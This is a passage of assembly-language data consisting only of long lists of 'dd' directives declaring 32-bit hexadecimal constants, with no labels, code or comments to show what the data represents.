0B30E3BABh, 635189B6h, 9515130Dh dd 9725015Bh, 2CB56602h, 0EA03AA1Dh, 5B12C26Ch, 0A1F977ECh dd 930DA406h, 0E790E94h, 0D0AD4A09h, 1F8BE060h, 1CD4BCBCh dd 47CC98D2h, 338985BEh, 11FC61B4h, 0D36F928Eh, 10F0CC00h dd 0FD2492Dh, 8BDE4E0Bh, 0F384E02h, 528D8C6Eh, 0D6D66C91h dd 0A58723B7h, 74C61D66h, 53FC42FEh, 8A62F7C9h, 8DEC7A6Bh dd 28C139E5h, 0F3D57A31h, 598EA5FAh, 4A965341h, 74CF7953h dd 299B2EE4h, 7F5BB8DBh, 0D7F5FCFh, 5FCCDBC7h, 0AF640848h dd 0F1BB280Ah, 0C9C49856h, 0A72A9025h, 0E91DBE7Ch, 2229877Ch dd 60FF0553h, 644B0BAFh, 5CE30EDBh, 0BC636656h, 9DC2A024h dd 41D813E6h, 0F0563839h, 3BE0FBAFh, 8E231BEEh, 3554EB24h dd 792AC1B5h, 0F5CF60C2h, 9D3565A9h, 0EB721EA7h, 0BCB36CF4h dd 0CC642F5Bh, 0E29A300Fh, 0B3545222h, 52954EC5h, 0FA28AB8Bh dd 0FCC08462h, 0E05356E4h, 0E299A4BBh, 1673C674h, 0BEDF8905h dd 59354A2h, 742A401Bh, 0D593A441h, 6A34FFEAh, 55214028h dd 92B5D2Bh, 6C2F8E5Ch, 0E141AF5Dh, 53729DE2h, 1B7183F8h dd 0E3C3BF53h, 0A5CFCC89h, 345076D7h, 1EB991C5h, 911581E8h dd 2A223B8Dh, 2E1F9AAEh, 0D80C3C55h, 7304A32Eh, 492D2E08h dd 0BE752723h, 48E2168Fh, 935DE315h, 9F0A891Dh, 0AD0297DBh dd 0D03FB1C8h, 0DC6632D5h, 380BA968h, 80BA0AAFh, 560BC88Eh dd 44EFC511h, 8228761Eh, 5B0782A0h, 3E23E4E7h, 0D3653E1Eh dd 0BE7E9492h, 0A9DD36C2h, 72DFD895h, 2D740CFBh, 0F5D21090h dd 9E92036Eh, 0F07321F3h, 81124DEh, 0BEB2BEEBh, 7623EBD5h dd 0B721F142h, 0E94F85E8h, 35C05DDEh, 0CFEDCC9Fh, 0C3C7FC72h dd 133FADFBh, 75972F8h, 4C35DA07h, 0B08AA05Ah, 429EA214h dd 3079A4E0h, 973529D7h, 69CFBCEh, 6487D703h, 74074CA6h dd 6CEBC3FBh, 7200DDCFh, 0B287A67Eh, 0EFEC7985h, 7E2B4FFCh dd 8D2EDB96h, 68EA8254h, 0D44D71D0h, 106B58F9h, 94B390F1h dd 89FEA16Ch, 7115DA6h, 659A48E6h, 273E0C47h, 0D6BC3E33h dd 0A31C807Bh, 0CDB01D13h, 0FFD7ED48h, 69E73F15h, 48BB47ACh dd 38E60F69h, 0CDE700F6h, 0ED7D63DBh, 4A47DACFh, 88440A6Fh dd 283F4431h, 8899AB6Ah, 1297BBEFh, 418674AFh, 434A3B4Eh dd 5AA3E1F1h, 0C0005599h, 2694B5B8h, 5C03BA7h, 251DFBE2h dd 328D925Fh, 117B3BDDh, 8C79740Ah, 65513909h, 8491FD63h dd 11B1E525h, 2EF9D4EBh, 7BC6071Dh, 0ED63E319h, 0D98B38BDh dd 74B2516Dh, 0C35237A9h, 694DF45h, 0E7AD7240h, 0FB719D76h dd 12D15F96h, 90C0A5FDh, 6F001D06h, 7DD8A54Ch, 8A85367Dh dd 52B5DB74h, 604843A2h, 6A0911E2h, 973BA6C5h, 0DFE1AFE8h dd 0CA9173B6h, 0FDA01817h, 937A4B7Bh, 905806D9h, 0AEE4077Dh dd 3B84E2A9h, 0F3B4C462h, 0BD4266A3h, 22FAE6B5h, 0B54C709Ah dd 0FAE283A6h, 109D5519h, 66C5C9C8h, 0D5DB3E9Eh, 92ED8431h dd 79AD61D6h, 114119D9h, 0F917ED03h, 31E08FC5h, 0C0CA157h dd 600D8205h, 0A20A87E0h, 0FDE47D5Dh, 0E784419Eh, 0F9B3FE64h dd 8D40F120h, 75FBE238h, 4AC7553Ch, 204FAEE5h, 0C3C4FDC9h dd 8BC20C12h, 399A0B5Eh, 0C0A9C6E7h, 2ADD83A1h, 0DA636AFBh dd 5F09FCDBh, 0FCE2C085h, 97010EA0h, 0BCA7C10h, 2F99982Fh dd 86A5D82Bh, 0FBA66BE1h, 0FD814448h, 123824A7h, 52971EFAh dd 4B1DEBCDh, 63F71E2Dh, 932E3196h, 0C926E4E9h, 76EBBEFh dd 67579D38h, 22A21893h, 78C69C35h, 8818D0C5h, 7D29C19Dh dd 8525627Dh, 50DA798Fh, 75D15842h, 0FD249CE4h, 937D4DC3h dd 17821E13h, 79CEAD7Ah, 0CB7170Ch, 9033CE93h, 7A5EAE1Bh dd 96719FD7h, 0B89C8B7Fh, 988BB60Ch, 8C378D15h, 0D39E357Eh dd 4009DF75h, 1BC339FDh, 0C19F7406h, 27ED265Ch, 78A58A47h dd 0CD1B8178h, 0CA76BC62h, 5538CDFBh, 0EDB6382Ah, 0CBF79FB6h dd 7589FEC9h, 9FEAAA42h, 16F2571Eh, 0D5B1FE86h, 97011F7Ch dd 5F8A1039h, 7083D347h, 0B71B522Bh, 0DFB77E97h, 0B9F0D0B8h dd 1D72268h, 0F43E4EAAh dd 9D4CC3ACh, 8384BDF4h, 545E5948h, 8A9AF267h, 71FE9D72h dd 0C1A1469Eh, 0A0BC473Ah, 9DEABC06h, 0F7C53690h, 70A91BE4h dd 3593C283h, 3B5E9DEh, 0E089CCB0h, 2B418F2Dh, 58706E92h dd 0B8C2A083h, 0ADA5A222h, 0D6104D6Ah, 0A7E8FCDBh, 5F5D8EF7h dd 6E3DB23Eh, 9F4250BBh, 6B79CC1Dh, 0E4DD474Dh, 57BADA15h dd 0BFB33A83h, 0A81282EAh, 0CF190198h, 0DC941386h, 1180D37Ah dd 3B12678Dh, 9432F019h, 0D078466Ah, 0B2D481B8h, 88BE7090h dd 419EE12Ah, 90A6BCDCh, 20841062h, 1A78EEACh, 26561E3Fh dd 3D6AC4CEh, 0EB96AFFBh, 0C269D62Bh, 0F4107CFCh, 0A33D1362h dd 0B2B4C588h, 0AA0B3067h, 8A295D44h, 0AF245519h, 0FF049251h dd 3E19A31Eh, 0FC7C079Fh, 0C2331892h, 0ABCF93D8h, 681FB6F5h dd 940237Bh, 182C8A05h, 9CA47869h, 73AF6A4Ah, 7021B551h dd 391D38C9h, 0C0D6ADh, 0ADB6C315h, 8529711Dh, 402FF5E1h dd 8DA3AE33h, 730C3C0Eh, 6866F8D1h, 0C74D0B3h, 49E3D35h dd 25075785h, 0E9A80357h, 69C17BAh, 1CC3DB9h, 0A666E538h dd 0C7E7977Ah, 0FDE99CAFh, 4BC47200h, 0ACF1B8B5h, 0AE5A1AEDh dd 5B7F735Bh, 43519FB9h, 0F29DB610h, 0D08B146Eh, 79809990h dd 1C82C0FAh, 0F6450015h, 799852Eh, 5EFC232Ah, 9E9F97DDh dd 7765579Ch, 73F44574h, 3FB4C653h, 0CD882F8h, 9499DAEAh dd 0CAFF6F4h, 7861D3F8h, 96ECAF57h, 3CCA2245h, 0B23B6577h dd 89421C6Eh, 0DA293678h, 0BBCB81DCh, 0E6E297FCh, 4DFDA02h dd 8F5A3E33h, 569E086Eh, 5CB785E9h, 977EFDB8h, 4E34836Ah dd 72D1AFC3h, 0BEEA9F7Fh, 644DE42h, 0E4525A7h, 1C47C192h dd 8C6D4973h, 0A1ED6EDDh, 5A923F97h, 16014024h, 56FC8478h dd 30B56204h, 443911F6h, 0C70DEA1Eh, 3DF0DA3h, 2E2FE2DBh dd 0D5018F2Fh, 0DA8505C8h, 4BC154E3h, 93721F06h, 0D8ED2532h dd 0CD02F7D7h, 2DC4FB02h, 607F845h, 0B2ABD6DCh, 0AFC37EACh dd 0ABABF9F9h, 9FE9F757h, 0A84BC666h, 48997405h, 36FAEE90h dd 7FC7AE24h, 0F50A3125h, 238AE378h, 0C9B77E0Eh, 2DFBE06Eh dd 5D5AA6BEh, 7374A299h, 5E8F4A91h, 0B725EB9Dh, 5E323257h dd 7D9FCA4Fh, 850E358Ch, 734F5BD3h, 3EADBE7Dh, 17732A43h dd 0A26EAE2Bh, 6D2067C0h, 0A2C7C4AFh, 62B2698Bh, 0C33C605Dh dd 587CFD73h, 84845A89h, 0CADCED47h, 1BC9D80Dh, 403123A9h dd 5A657A19h, 81A63B9Bh, 0FF581E47h, 29DCF16h, 4CC81DB3h dd 0C224AD73h, 0EBC60F3Ah, 3E7380DEh, 2FCCD26Fh, 0E45F44F9h dd 75E3321Ch, 0BBBF058h, 33C976D7h, 1BB225AAh, 7D93150h dd 6F9EF319h, 1035BAFEh, 75134C8Dh, 0C643E0F0h, 0E4A5683Fh dd 82B5D45h, 58845BC3h, 8E7C4878h, 1573F7B9h, 0A654CD49h dd 0B9353A43h, 5C751123h, 4DD82CB4h, 63A76AFAh, 302296A6h dd 67A2067h, 9F0DAE5Ah, 99363502h, 0A6671C6Ah, 7578A7E7h dd 5B768A88h, 0D596EFEh, 2B4FCB62h, 2A2F2918h, 36B5F5D9h dd 4BBBB14Ah, 2B184CFBh, 95C3976Bh, 0A2A75DB9h, 8DF0DF1Ch dd 0AE4B214Eh, 2615A8Fh, 0B7769096h, 130D419Ch, 0AB30826Ah dd 0C9A31788h, 532CAD0Dh, 0D4289330h, 0A9C9E8B9h, 72FB9B5Eh dd 98CA0E75h, 0EC173F2Fh, 91168DC6h, 0E8C91DE4h, 685FA6BCh dd 0FFA80D41h, 78D4CBDAh, 0B513DACCh, 469AD62Fh, 396E43CAh dd 94C39F3Ch, 81971BB0h, 7688E2EDh, 0D43A053Eh, 0DDFDE65Fh dd 57958D37h, 0EB7DA740h, 72E58AC0h, 0AC8FDCFCh, 2DD7FCA5h dd 0A838FE97h, 3575F43h, 0E0EB30Ah, 9D092807h, 0DF10B10Ah dd 67A5D05h, 35425957h, 0AB0B34D9h, 0F2F2777Ch, 12380CCh dd 0B7499573h, 19F10DF4h, 49839AE7h, 0E05801A3h, 76064751h dd 0B85C6A23h, 7C55F90Dh, 1341E71h, 0BAC1EB0Ch, 7C53D666h dd 84126776h, 0A5A117CDh, 6F0E058Eh, 0F83A548Dh, 0CBC0EA4Bh dd 8B08654Eh, 0C22B7E68h, 95DD3BEh, 0A4826D9h, 8DBD924Ch dd 7C5697FEh, 0BEF47822h, 0ACED7DC0h, 0B03CDF65h, 0A4BC210Fh dd 13F34039h, 53282303h, 4EC4AA59h, 35B0F460h, 0EEFF59C3h dd 82852D57h, 0EDC4FC4h, 5F69F769h, 0D1A9235Ah, 60EB2363h dd 0A972EC90h, 8191C477h, 0B2249DF3h, 2C2F29FAh, 0C7DA55E6h dd 281BC152h, 0E8507B82h, 0BD6C58C9h, 0B09F398Fh, 44C5D2E8h dd 2E3EC24Bh, 0CC8DEA53h, 33E8A791h, 28EF1608h, 50D19546h dd 359B7CBEh, 9703D8BBh, 82C7DCA3h, 35C7ACB2h, 2017BA61h dd 0FE90D99h, 856B2FF6h, 7E8395D7h, 15E86665h, 0BC833153h dd 0DF8AD907h, 0F786C500h, 0C5D998E3h, 0EE815209h, 0B566EC04h dd 6F834119h, 0E54B83E6h, 68842B35h, 0B1A88D2Dh, 82AC133Bh dd 8A2EC444h, 904DC7A7h, 8FDFA27Ch, 42CE5A6Dh, 6DF43CAEh dd 89DA7EAEh, 0D1D56705h, 207E0959h, 423F6750h, 46889D32h dd 0D360026Dh, 0DF36610Fh, 0B1594581h, 984FD52Dh, 0FF0FB83h dd 7334D34Dh, 0B25EE1C3h, 6D7D09D9h, 0A031BF9Fh, 916A7A66h dd 0F96393E2h, 0FA7AF09Dh, 0E04ED1E7h, 0F206F5A7h, 0D1D076F8h dd 124A7775h, 0DF221E4Eh, 0F080A07Dh, 0D5943156h, 0ECFF6411h dd 5419011Fh, 68A633D8h, 7A7B40DCh, 9836084Ah, 0CE69FEBCh dd 6C0C64E4h, 0BF570F9Bh, 0E5DE5729h, 0BC3A3649h, 0B00EA77Fh dd 5A5142E9h, 1B15CC71h, 0B696DE06h, 8EEC318Ah, 0D5EE5F5Fh dd 43E86734h, 1C567546h, 0F82757C2h, 0A93520F7h, 0AE1D697Bh dd 867BD2DFh, 73B74CFCh, 0F12DEF24h, 91B6B5AFh, 0E9BFE202h dd 43155E93h, 0DF51B8E7h, 94CD75ADh, 67C20D58h, 8D8579DCh dd 0E42AC04Ah, 6EB4578h, 26D41B11h, 0A4EA24EAh, 91CEFB58h dd 6EAA422Fh, 95A80BD0h, 54E14615h, 51D854DEh, 0BA0085A2h dd 1153B43Fh, 3EF391EFh, 3C1E7B57h, 2AB2BA87h, 61D0A032h dd 6BBEBA02h, 0DD0B7439h, 0B6C69B6h, 53D96E4Fh, 5366AE0Fh dd 0F2C1C753h, 0E0199051h, 2094DC4Bh, 0EB811252h, 41ACCE57h dd 762F088Fh, 155E8384h, 6800DA82h, 0B46469Ah, 0AD90169Bh dd 91E3C73Bh, 327FF632h, 2663D484h, 0FD2F019h, 9C8A7C18h dd 0F636406Eh, 9774408Bh, 0DA4FD315h, 0E783E897h, 0B122267Bh dd 746348C0h, 0F9DC75Fh, 82B23355h, 0ADE23F04h, 16C3871Eh dd 5B7E2F62h, 0B08F2ED1h, 9B0AD4D8h, 596133BFh, 0C4EAE539h dd 9DBE5540h, 2BD9D26Bh, 0EF28272Bh, 9A1CFB00h, 742DF9DCh dd 8D24CC24h, 0A73BE715h, 520318A9h, 3F8D8323h, 0F16B317Ch dd 0A7D9EE44h, 54656064h, 1C1E6824h, 0A641DE6Fh, 19CC874h dd 5D701EDAh, 0B7F47577h, 8DC88BFFh, 9793FD0Fh, 230FC8C7h dd 0EE4B1684h, 0DCBD31E0h, 1F674D18h, 7249A39Ah, 0EDD48187h dd 0EE93ECD0h, 0E7822CC5h, 0DCE0C9E8h, 83D57C31h, 32E3EEC2h dd 1E535DFAh, 429A5C03h, 2E79D5A1h, 518E6C80h, 0C465CED0h dd 84DABC6Dh, 8FE91B17h, 40A4E772h, 8E8C34C1h, 29374918h dd 0DAAA3A92h, 91019766h, 0C15236B9h, 5DBC2B6Ch, 3A1F82D5h dd 0A318E22h, 8050854Ch, 225D5F7h, 6C4196E2h, 840C0EA2h dd 8FF6246Fh, 5CCE1BB5h, 4098245Ah, 0C3FF4ED1h, 27A394B1h dd 180BF762h, 0F2D44C6Dh, 3E3FBFE7h, 5874E454h, 2B5C090Fh dd 0F5A0FA5Bh, 0CFCB365Bh, 0EB0B6FF7h, 4AAF774Dh, 0BD25990Dh dd 0B698EAF7h, 0A70CE921h, 0F4DCFE80h, 22B7B9D6h, 2086B17Fh dd 0AC3C6D91h, 75E430FDh, 0CC5B8635h, 14D1955Eh, 2ED5003Ch dd 42B8AAB0h, 238CE6C9h, 0A704C83Fh, 60346B9Dh, 85F479C3h dd 0F6C9BCDEh, 0E63B9DD6h dd 2A684C63h, 55B9AAAh, 695675Fh, 8173D8E9h, 523224F6h dd 7EB98E27h, 0C82EC99Dh, 0D519FBA7h, 495921EEh, 3B93966Eh dd 3393EF3Ah, 0CD0B8098h, 4238BE0Ah, 7D68C3D4h, 0A05027A0h dd 0C4655453h, 9AFD5E17h, 0A2C77FB6h, 90399773h, 859D88BCh dd 86C1CB92h, 0E9195020h, 0F4C6F37Fh, 4293E5B6h, 538BB03Fh dd 0A7E3AD6Eh, 0C8D6754Dh, 0F607C56Fh, 0AE8C7EBDh, 33B33D23h dd 55C04A9Fh, 8C4E2C5Ah, 568BEC44h, 813C86F2h, 0F0F1025Eh dd 2F42762h, 0DA3A2359h, 27949298h, 60F9E33Ah, 7FB1E5E8h dd 0E3111E7Dh, 0F8C78B72h, 0BEDC4CBFh, 8B82E2EAh, 7C07FD24h dd 7A35B162h, 0C801E56Ah, 50577037h, 0D3965155h, 0A5BEAA46h dd 0D64129BFh, 99525173h, 11D5D347h, 0C1DA23F1h, 9E276052h dd 47219C7Ah, 77218908h, 0BC836366h, 15264784h, 10DB4C36h dd 59F24F12h, 0CE6503F8h, 0E82C54A1h, 5A01885Ch, 5CA25FDCh dd 8ED3A977h, 2B00A32Dh, 80CA2CBh, 4ED30787h, 46187D24h dd 0ACF1742Eh, 72A3B4E0h, 0CEAA8356h, 8AF79073h, 981506E6h dd 0D1DEC63Fh, 0BF056F8Ch, 7379EA82h, 0B43B79D3h, 8E063AEh dd 299B6AFAh, 6ABDC024h, 0AFC0A622h, 2EFE73B2h, 2F796FFBh dd 8F8953E6h, 6E508DC4h, 0C616E263h, 0C86F686Eh, 5DCEC38Ch dd 6546E576h, 0AE693D77h, 8A65D01Bh, 0A17D52D1h, 0B32D4527h dd 8D000351h, 51E26817h, 7A859A6Eh, 2B3C0C97h, 39E07C3Ch dd 940BB819h, 64D2FB4h, 1A45CD03h, 0D35942D9h, 0B6C444F6h dd 0BFB39C2Bh, 6EB57445h, 0B066467Fh, 0C1273E87h, 0EAB1BDBCh dd 322C52A8h, 0C339C972h, 0DBAF77FAh, 0B611B056h, 0BBD56779h dd 0ED395393h, 202A19D3h, 6E35E38Eh, 80EC2DFh, 0BB119DC3h dd 2D2AEE26h, 86778E2Bh, 9C16A205h, 0CE0DE578h, 25A4E913h dd 0A2A5FB45h, 42422680h, 9C66F5D5h, 655D1C64h, 0BAF70B7Fh dd 9B733FB5h, 0F5D6557Fh, 86BFCFF6h, 0B7E12AF0h, 51DD42BEh dd 3CD1D54Ch, 0BAE64195h, 0BED5CECCh, 1637A836h, 9E6B0E76h dd 1FD05FF9h, 1BD20A7Eh, 73E68434h, 3CEABCA9h, 0EC59CC75h dd 0B5F72DF0h, 0E3D48CA6h, 66531F1Bh, 654E620h, 0E0AD642Dh dd 0E79A4761h, 8E9C5286h, 0B459B0C8h, 45217726h, 3A53CF5Dh dd 0D7AFCC74h, 9827B767h, 0C33E2753h, 124D2762h, 9F0822DDh dd 1C06EC5Dh, 669C47C4h, 0C6D960EDh, 0F4759848h, 583D3FA9h dd 4C011592h, 3E7A39A5h, 0C5732304h, 1AF14C69h, 0D0AA2866h dd 0C9F0D006h, 5564C5A3h, 5AC2FDECh, 0CDC6F52Eh, 2EB22F5Bh dd 0CC44B903h, 0B7606B1Ch, 0B1B26280h, 41028E9Eh, 9ACA596Dh dd 0B316F5C5h, 94A207E1h, 853A339Bh, 25B8AEB0h, 9E0BFDC0h dd 6FF57A00h, 4E5FF91Bh, 70B4DE97h, 694B2212h, 0B52E709Fh dd 0FF558C05h, 2A51D518h, 8EFA2D5Bh, 6ED69397h, 8EB4B0EDh dd 4B8F63CCh, 893C614Fh, 1B5903C5h, 0DCA97E16h, 3B521E28h dd 3E27BFE0h, 46E0EDE7h, 75B8AF4Ch, 70173D80h, 5990B0CDh dd 2F829C1Ah, 1EA1A22Ah, 103014B1h, 8F53CFACh, 4646C50Bh dd 0E67C3C4Bh, 23883012h, 0A83D6313h, 91975629h, 8E87BE95h dd 827C0FD3h, 47B91AC5h, 0E2C4EDEDh, 9CE25728h, 64331C57h dd 0E8BE8AD0h, 39D7164h, 5679E7B9h, 440DEE45h, 6DC1DB37h dd 5A4A2129h, 0A12574D5h, 7E47FED9h, 0E2D50B35h, 5045A222h dd 5D385EDFh, 0D3251815h, 8EA8D0DBh, 2DCCB81Fh, 0EA6AF2BEh dd 7B7409FAh, 0B8560392h, 0F629C535h, 0A54B0A8h, 0AA92C970h dd 28E4ED5Eh, 6EB36C1Ah, 65937E4Bh, 0E6086355h, 0A221CD4Dh dd 90A5ED14h, 0CD80F793h, 95C630AEh, 0B5A00CD3h, 0CF895EB6h dd 0E23B73EEh, 0A1D36737h, 36D9343Ch, 9779672h, 8AF6387Ch dd 98A8A9AFh, 5FF7F965h, 0F8F003C2h, 0AA4C4CC0h, 87E10FF8h dd 545FFA32h, 578F39D0h, 57F09D1Dh, 0D1212ACAh, 67B60D67h dd 0BA41FCEDh, 0F086C483h, 8A65E7D1h, 8E6E0373h, 0E49FEB49h dd 5E29E1B3h, 8034D817h, 6835CC0Dh, 84F3C3A9h, 0A8589C0Bh dd 0A3927011h, 42A0EA43h, 21146442h, 9929E228h, 0F3769B44h dd 32C957F1h, 0A7F3366Ah, 0FA042E9Fh, 9E564EC2h, 9749B71Ah dd 75BB3C6Bh, 469256B6h, 204EBC32h, 0FD256115h, 5D7E3162h dd 0B363670h, 1B4C4F16h, 2F9A1723h, 1D933156h, 886A5D6Dh dd 371528A5h, 62A9CDA1h, 549483E7h, 0C21CF5B4h, 6D8E3249h dd 68C314DEh, 1DEAC50Eh, 0F324B950h, 1D380673h, 4995C607h dd 0CA480AD5h, 8CE25E64h, 0ABACC010h, 649C2769h, 0A5608A1Eh dd 9F8AF5D7h, 8C0368B9h, 7A56F30Eh, 8C651F5Bh, 321126C7h dd 5BF0CD3Fh, 0A7274884h, 0D723E2B2h, 272FBFA7h, 1560D5A4h dd 2C4CB577h, 72847DE4h, 309C65D3h, 0DFA90001h, 2E5C1988h dd 33320CDDh, 48CF0313h, 369C72Ch, 0C11CC86Ah, 0A0B57A7Ch dd 0E970B275h, 978E3176h, 0C27C94B3h, 2B0998F0h, 23C33259h dd 7E8B2AE2h, 0D9B61610h, 0BEE42C89h, 0F0096372h, 87748A7Ah dd 6C0CF746h, 0A4DBE235h, 0C699CC5Bh, 0EDDD19EFh, 770D9151h dd 0AD3BD98Ch, 348AE938h, 3DF18C69h, 9BBB50CEh, 0F4F3E76h dd 2F5F3892h, 12C77299h, 73466AD2h, 6611D53Dh, 4D27BEF3h dd 0E02B3FC9h, 0D2A5B598h, 45ACD7DDh, 63B95D4Ch, 0D2659490h dd 0E8A1504Fh, 8FD8F21h, 59C93EC4h, 0E5D01CCh, 85FC9BA8h dd 6CD24C9Fh, 68A701F1h, 0EBD94FD6h, 0BEB765FDh, 0D94C0D2Fh dd 5BA4CDFBh, 0EB872ACCh, 1CC5C65h, 0D4F106A8h, 9B973F09h dd 0E6152F63h, 2D898547h, 3A7378D5h, 3971DC9Ah, 0A8B25167h dd 0F4B4C171h, 0D9E2DAF1h, 92C9CCFh, 0E21A6620h, 748545C3h dd 0C365ABF5h, 5A56160h, 0F6EDA7C8h, 4DBD9D41h, 0F688DEBh dd 2BCB5CADh, 38E79A2Bh, 9EB5011Ch, 49F43316h, 88D6E41h dd 0A02E661Ah, 0A0E96487h, 0D7B38698h, 57D01E2Ah, 5D9E24BAh dd 0D80043F0h, 0F9564E3Fh, 1E4B142Eh, 416F6608h, 0FFA13559h dd 4355CD76h, 0E49D0E46h, 96280CDh, 7EBE22B8h, 0D3017F07h dd 6517DEE2h, 0F1FB7E8Ah, 6581E981h, 0A67C1FFBh, 1B935AE0h dd 2CA759F0h, 39673DC5h, 497C9D4Dh, 184522D3h, 0F3DEF331h dd 0AB8C8630h, 25F2AECDh, 0FCB6A8EFh, 8D4BD99Eh, 0B0CD549Ch dd 3D283623h, 0D3230526h, 0B0E861B7h, 0D1FDDEC7h, 96CA8A39h dd 0E5745A3Ah, 437AF12Ah, 0FCACCB91h, 4CCCDA8Ah, 0FC644A2Fh dd 5056008Ah, 57742F9Dh, 7B9054C6h, 4BA3A61Ch, 9CA77688h dd 40930617h, 4BD0683Ch, 519253A2h, 2E4716DCh, 0EC10F4FBh dd 96987B4h, 24B1C4D1h, 7608D659h, 6A187FB9h, 0CD296111h dd 36DFFFA6h, 739B9D1h, 0D1277D7Eh, 0D2D1CBBBh, 0C99CFD04h dd 0A4748E05h, 4AF326E0h, 8965CFB2h, 36C2116Eh, 0D489CFF7h dd 565F783h, 38DDB870h, 9BB791C6h, 0AAB773E3h, 2CF920C4h dd 0CAACF383h, 0F74DD04Bh, 0C12013F9h, 16C5E17Ah, 677DE040h dd 7A130F3Ah, 4C897142h, 6F7A3096h, 3109F37Ch, 5857FCD3h dd 24E3DC0h, 72859A5Bh, 311B8DEEh, 0C3D2D44Eh, 83D681C5h dd 0E92B6AA9h, 1F0E5598h, 0EB551FD5h, 0F2229042h, 2A87D93Eh dd 92F7462Fh, 0D6AD22E6h, 0A52D38EDh, 92D6F7F5h, 90CEB54Bh dd 73D7E604h, 22A0DF81h, 0A81A1752h, 94EF8F44h, 0E6646ABEh dd 89331C9Eh, 0A237A467h, 0B1E27BD0h, 0A21783ECh, 0C2E5A2FAh dd 1D6B7D3Eh, 0C470D58Dh, 925BCF8Bh, 429544ABh, 37AEE89Eh dd 975836FDh, 0E69E44C0h, 52C83DBBh, 2B1BAB78h, 90EA4E8Ah dd 3AE492F8h, 9889922h dd 36C671F8h, 3D1E7CF5h, 79648CEh, 3F6B2CA2h, 78D025A1h dd 70E59884h, 0F4D76C45h, 0BBC6B8B2h, 339ED5B1h, 77925DA7h dd 0C09EDDF4h, 4E04C52Bh, 9E29BB51h, 3898DCCh, 86CBED2Eh dd 7C89AB3Dh, 46D53FABh, 1CA9E03Eh, 0C0DAD778h, 435E2542h dd 92AE2BC2h, 12D278FCh, 2DB2AAEBh, 0F8B3262Eh, 9706066Bh dd 58CF35BFh, 530A2585h, 0CDAB4D0Ch, 0E57D9A9Ah, 75EB215Dh dd 1A30EA9Dh, 0F06376EAh, 40E58A28h, 4981E50Bh, 0D83AB524h dd 58D6EB50h, 7FDDFC01h, 0A01C21DEh, 7CCFA87Ah, 0B1AA71E8h dd 0F9FBF18Eh, 422DD4C9h, 0BAD0A2C8h, 8EE47CCAh, 0F770F7A9h dd 4D01EFA1h, 26BF2DD4h, 6C6AD897h, 0C2320E03h, 0F05193D6h dd 0BE271D88h, 5191670Eh, 78C0ADB9h, 1CE7604h, 9F2E3B98h dd 0EBD1C0D4h, 7BB1A169h, 0D478602Bh, 58102421h, 0FE9FC92Eh dd 0F1DDE2C1h, 3627DB27h, 0B1B79CD1h, 84F7D5C3h, 0E0AF3E6h dd 0AA9621FBh, 8EF731F3h, 0A2E93535h, 0B6B15B4Fh, 0B6424E76h dd 73B5BB87h, 5720CA2Bh, 2511D12h, 0A3481E13h, 89502B15h dd 61D18103h, 830CEC0Eh, 0BB5FC4CBh, 0EED2BA13h, 296E413Bh dd 0F935E191h, 8C0943A0h, 0E68785EEh, 6868AA2Eh, 0ADE37395h dd 0B94CD4EAh, 749095ABh, 89BBDF2Fh, 50EE30BBh, 104CE17Fh dd 3B649A46h, 2889E5DAh, 73D25D99h, 3212F5B6h, 6F12583Ah dd 5DF0BC9Bh, 840E8378h, 0A3768412h, 99B7AFF5h, 7354EB80h dd 31C48747h, 456D0955h, 4E8A566Dh, 0B99DB4B0h, 3E98F60Ah dd 7BF9C6ADh, 28D5339Eh, 0D39EC5A2h, 0CF27AF1Fh, 8B7EE045h dd 370B42C6h, 0CBF49046h, 54D92E2Eh, 0B3BB912Ch, 87EEC1F8h dd 11427607h, 5BB3AFB3h, 7ED1E61h, 6E864B22h, 0BEB64688h dd 2EB64626h, 610DEA06h, 73BF1D3Bh, 738E5D5Fh, 33884CD0h dd 0EAF9FFB5h, 72840CE1h, 9491C0E9h, 68C26A96h, 0C56C8EACh dd 4DE1CBF6h, 0DE9789A9h, 89E193B5h, 0B1932C6Fh, 1A75F7C5h dd 4B97C51Ah, 0CC272C46h, 377815E7h, 0D7AA452Ah, 0EE7692E3h dd 9AD12224h, 6A2CAD03h, 4CC9554Ch, 0D7B2FECDh, 0B49B3A7h dd 3A20AE62h, 0FA47E06Eh, 963BF032h, 88E6E5ACh, 1AC1E04Ch dd 93AB493Ah, 439295C5h, 0F1D53264h, 0B1F5CD78h, 0C19A66Bh dd 586DCF0Dh, 0BB894750h, 4B100A1Fh, 0FCFD4B90h, 4C26EADh dd 0BDBDBEEEh, 6B9286C3h, 135EA097h, 3F957187h, 99314823h dd 0B9876DE0h, 0F1E3E34Fh, 0A80AB77Dh, 78D5E5B9h, 2940AE82h dd 5959AEF8h, 9AB621B6h, 4A8BD9CEh, 245C7AD1h, 0EBC16703h dd 0FF691CABh, 0A553816h, 8EA792DAh, 5FBDED88h, 0E32B1202h dd 0C6E07525h, 0F83AFFF3h, 3011B2BBh, 658BF787h, 946E89C7h dd 0A86901DEh, 496543D9h, 0D3AB6E93h, 205696E7h, 4C5836F1h dd 0CE3890C5h, 3F0BEA77h, 48898215h, 1AD83197h, 969B5326h dd 0E51526BEh, 0EA3A89EEh, 0A1243F77h, 2D2216F0h, 0E0ECBECCh dd 7DFE2B06h, 930A80ADh, 0C04FA1F9h, 326B99E0h, 0E36A5DB5h dd 0AABB19DBh, 341D5670h, 4DF266A8h, 0AD10AF0h, 66EF1913h dd 3DBA05EFh, 0A6C9A73Ch, 0C65CFEBDh, 663FDEC7h, 20B7D73Dh dd 7C4AD5ECh, 1F16D1D5h, 0E5FC4A36h, 2972BCC1h, 252C81FCh dd 81088FFFh, 0E45A941h, 7CCF609Fh, 358E3FA3h, 7ED67C4Ch dd 113F56FEh, 0B3D8489Eh, 5EEB21D8h, 3BB0A25Eh, 40604493h dd 2E894078h, 18FE06F6h, 73B65969h, 0F3E2C36Fh, 24D7D9F9h dd 1DDF3241h, 0AA6A206Fh, 67FDB70Ch, 0B85BE6ECh, 6ABEF01Ch dd 81B13962h, 84ED6A59h, 0C13E66E7h, 7F65BE7Ah, 22AEAAE4h dd 0D3EF6019h, 0F7378B47h, 0E13BE4A3h, 15E0AEB5h, 788EB5FEh dd 0A663B6C0h, 6C3A8862h, 0F3BBBE12h, 0E5EAF4F8h, 4E7C4716h dd 49354D30h, 0EDAECA1Dh, 7335AD84h, 7BF5B10Ch, 0F49DC020h dd 2C7E01C1h, 681B4469h, 957B9AD2h, 0C9EFD4E1h, 349AC58Dh dd 59B5E801h, 890F3538h, 21D92D53h, 6399AB86h, 7386BBE9h dd 0DB512B6Fh, 0BD58F3C6h, 843DC92h, 21558959h, 0CDDB1F57h dd 2F9E24A6h, 13AE5369h, 5C50B1DBh, 